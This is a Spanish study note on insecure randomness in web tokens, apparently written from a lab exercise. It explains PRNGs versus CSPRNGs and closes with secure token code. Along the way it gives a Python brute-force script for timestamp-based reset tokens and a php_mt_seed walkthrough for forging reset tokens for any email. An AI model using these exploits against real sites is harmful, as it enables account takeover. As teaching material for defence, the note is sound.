Ataques y defensa

Aleatoriedad insegura

#appsec#blueteam#crypto#redteam#web

La aleatoriedad insegura ocurre cuando las aplicaciones web usan generadores de números pseudoaleatorios (PRNG) predecibles o fuentes de entropía débiles para generar tokens de seguridad…

Definición

La aleatoriedad insegura ocurre cuando las aplicaciones web usan generadores de números pseudoaleatorios (PRNG) predecibles o fuentes de entropía débiles para generar tokens de seguridad, IDs de sesión, claves criptográficas o nonces. Si los valores son predecibles, un atacante puede reproducirlos para comprometer autenticación, tomar control de cuentas o descifrar datos protegidos.

La aleatoriedad es el fundamento de la criptografía moderna: una clave, token o nonce predecible convierte un sistema “seguro” en uno trivialmente comprometible.

Contexto

Conceptos fundamentales

  • Entropía: cantidad de aleatoriedad o impredecibilidad en un sistema. Mayor entropía = mayor dificultad para adivinar valores. Una clave generada con timestamp tiene entropía muy baja; una generada con /dev/urandom tiene entropía alta.

  • Seed (semilla): valor inicial que alimenta un PRNG. Mismo seed → misma secuencia de números. Si el seed es predecible (timestamp, PID, datos del usuario), toda la secuencia es reproducible.

  • Session tokens e identificadores únicos: deben ser impredecibles para prevenir hijacking de sesión y account takeover.

Tipos de generadores

Tipo Fuente Determinismo Uso seguro
TRNG (True RNG) Hardware físico (ruido térmico, decaimiento radiactivo) No determinista ✅ Sí (costoso, lento)
PRNG estadístico Algoritmo + seed Determinista ❌ No para criptografía
CSPRNG (Cryptographically Secure PRNG) Entropía del SO (/dev/urandom, HKDF) Computacionalmente impredecible ✅ Sí

TRNG: hardware especializado que capta fenómenos físicos impredecibles. Usado para generar claves RSA/ECC. Lento y requiere hardware dedicado.

PRNG estadístico: rand(), mt_rand() en PHP, java.util.Random. Rápidos, suficientes para simulaciones y juegos. Nunca para tokens de seguridad.

CSPRNG: random_bytes(), openssl_random_pseudo_bytes() en PHP; java.security.SecureRandom; os.urandom() en Python; /dev/urandom en Linux. Resistentes a predicción incluso con conocimiento parcial del estado interno.

Desarrollo

Vector 1 — Entropía débil: tokens con timestamp

Patrón vulnerable: generar tokens concatenando datos predecibles como el username + timestamp UNIX.

// VULNERABLE — No usar en producción
$token = $user_id . time();
$update = $db->prepare("UPDATE users SET reset_token = :token WHERE username = :username");

El token resultante para victim en el timestamp 1726644813 sería: victim1726644813.

Por qué es débil:

  • time() retorna segundos enteros → el espacio de búsqueda es ~86.400 valores por día (segundos en un día).
  • El atacante puede solicitar su propio token, observar la respuesta del servidor con el timestamp, y forzar bruta un rango de ±5 minutos alrededor de ese momento.

Explotación (Python):

# Solo en laboratorio controlado
import requests, sys
def brute_force_token(username, start_timestamp):
url = "http://random.thm:8090/case/reset_password.php"
for i in range(-300, 0): # -5 minutos
token = f"{username}{start_timestamp + i}"
r = requests.get(url, params={'token': token})
if "Invalid or expired token." not in r.text:
print(f"[+] Token válido: {token}")
return token
print("[-] Token no encontrado")
return None
# Uso: python exploit.py victim 1726645297
brute_force_token(sys.argv[1], int(sys.argv[2]))

Resultado: con ~300 intentos, se encuentra el token exacto y se puede cambiar la contraseña de la víctima.

Patrón vulnerable: usar PHP’s mt_rand() (Mersenne Twister) sembrado con valores derivados de datos del usuario.

// VULNERABLE — No usar en producción
mt_srand(CONSTANT_VALUE + crc32($email));
$random_number = mt_rand();
$token = base64_encode($random_number);

La función mt_rand() es determinista: el mismo seed produce siempre la misma secuencia. Si el seed es CONSTANT_VALUE + CRC32(email) y el atacante obtiene un token para su propio email, puede:

  1. Decodificar el token Base64 para obtener el número aleatorio.
  2. Usar php_mt_seed para encontrar el seed que produjo ese número.
  3. Calcular CONSTANT_VALUE = seed - CRC32(mi_email).
  4. Para cualquier email víctima, calcular seed_victima = CONSTANT_VALUE + CRC32(email_victima).
  5. Reproducir exactamente el token generado para la víctima.

Proceso de explotación:

Terminal window
# Paso 1: Decodificar token Base64
# Token: MTEzNTUwODU0MQ== → Número: 1135508541
# Paso 2: Encontrar el seed (solo en laboratorio)
./php_mt_seed 1135508541
# Output: seed = 0x39dc3504 = 970732804 (PHP 7.1.0+)
# Paso 3: Calcular CRC32 del email en CyberChef
# CRC32("magic@mail.random.thm") = 970731467
# Paso 4: CONSTANT_VALUE = seed - CRC32 = 970732804 - 970731467 = 1337

Con CONSTANT_VALUE = 1337, el atacante puede generar tokens para cualquier email víctima:

<?php
// Generar token para víctima (PHP script)
$email = "victim@example.com";
$constant = 1337;
$seed = crc32($email) + $constant;
mt_srand($seed);
$token = base64_encode(mt_rand());
echo "Token: " . $token;
?>

O en Python (simulando la lógica):

import struct, zlib, base64
def php_mt_rand_prediction(email, constant):
crc = zlib.crc32(email.encode()) & 0xFFFFFFFF
seed = (crc + constant) & 0xFFFFFFFF
# php_mt_seed requiere el cálculo interno de PHP mt_rand
# Usar el script PHP o la herramienta php_mt_seed para el valor real
return seed

⚠️ Solo en laboratorio. El uso contra cuentas reales es ilegal.

Herramienta: php_mt_seed

  • Propósito: dados los outputs de mt_rand(), encuentra posibles seeds que podrían haberlos generado.
  • Velocidad: ~58 Mseeds/s en hardware moderno.
  • Descarga: https://www.openwall.com/php_mt_seed/
  • Uso: ./php_mt_seed <número_mt_rand>
  • Puede devolver múltiples seeds; hay que probar cada uno en el entorno objetivo para verificar cuál es el correcto.

Diferencia entre espacios de búsqueda

Método Espacio de búsqueda Tiempo de fuerza bruta (estimado)
Timestamp (unix, segundos) ~3×10⁹ (desde 1970) Minutos con script
mt_rand() con seed conocido 1 opción Instantáneo
CSPRNG (32 bytes) 2²⁵⁶ Infactible

Ejemplos

Detección en pentesting:

  • Comparar múltiples tokens para el mismo usuario: si tienen patrón predecible (secuencial, basado en tiempo), hay fallo.
  • Decodificar Base64/Hex de tokens y buscar timestamps u otros valores predecibles.
  • Si el servidor responde rápido a tokens casi correctos (timing difference), puede haber comportamiento oracle.

Implementación segura de token de reset (PHP):

// SEGURO
$token = bin2hex(random_bytes(32)); // 64 caracteres hex, 256 bits de entropía
$expiry = time() + 3600; // 1 hora de validez
$stmt = $db->prepare("UPDATE users SET reset_token = :token, token_expiry = :expiry WHERE id = :id");
$stmt->execute([':token' => $token, ':expiry' => $expiry, ':id' => $user_id]);

Implementación segura de token (Python):

import secrets
token = secrets.token_hex(32) # 64 hex chars, 256 bits
# O como URL-safe:
token = secrets.token_urlsafe(32)

Pitfalls

  • “Uso rand(), que es suficientemente aleatorio”: rand() y mt_rand() son pseudoaleatorios estadísticos, no criptográficamente seguros. Son deterministas dado el seed.
  • “El timestamp cambia cada segundo, no se puede adivinar”: el espacio de búsqueda de timestamps es pequeño. Un atacante puede iterar un día entero (86.400 valores) en segundos.
  • “Ofusco el seed con el email del usuario”: CRC32 es determinista y público. Si el atacante conoce el email y un token, puede derivar la constante y predecir tokens para cualquier usuario.
  • “Uso PRNG sembrado con /dev/urandom, estoy seguro”: si el seed es de /dev/urandom y suficientemente largo, y no se reutiliza entre requests, sí es seguro. El problema es cuando el seed es predecible o derivable.
  • “Solo los tokens de contraseñas son críticos”: IDs de sesión, cookies de autenticación, nonces en OAuth, claves de API temporales y tokens de magic link tienen los mismos requisitos de aleatoriedad.
  • “Uso UUID v4, ¿hay riesgo?”: UUID v4 usa CSPRNG en implementaciones correctas. En algunas plataformas antiguas puede usar rand(). Verificar la fuente de aleatoriedad del generador.

Diagrama

flowchart TD
    A[Atacante ve token del victim] --> B{¿Patrón predecible?}
    B -->|Timestamp + username| C[Brute force timestamp ±5 min]
    B -->|Base64 de mt_rand| D[Decodificar → número mt_rand]
    D --> E[php_mt_seed → posibles seeds]
    E --> F[Calcular CONSTANT = seed - CRC32 del email]
    F --> G[Reproducir token para cualquier víctima]
    C --> H[Iterar tokens con Python]
    G --> I[Account Takeover]
    H --> I
    B -->|CSPRNG 256 bits| J[Espacio inviable → Seguro]

Referencias

Ver también: Cryptographic Failures, Hash Length Extension Attack, Padding Oracle Attack

Título original en mis apuntes: Insecure Randomness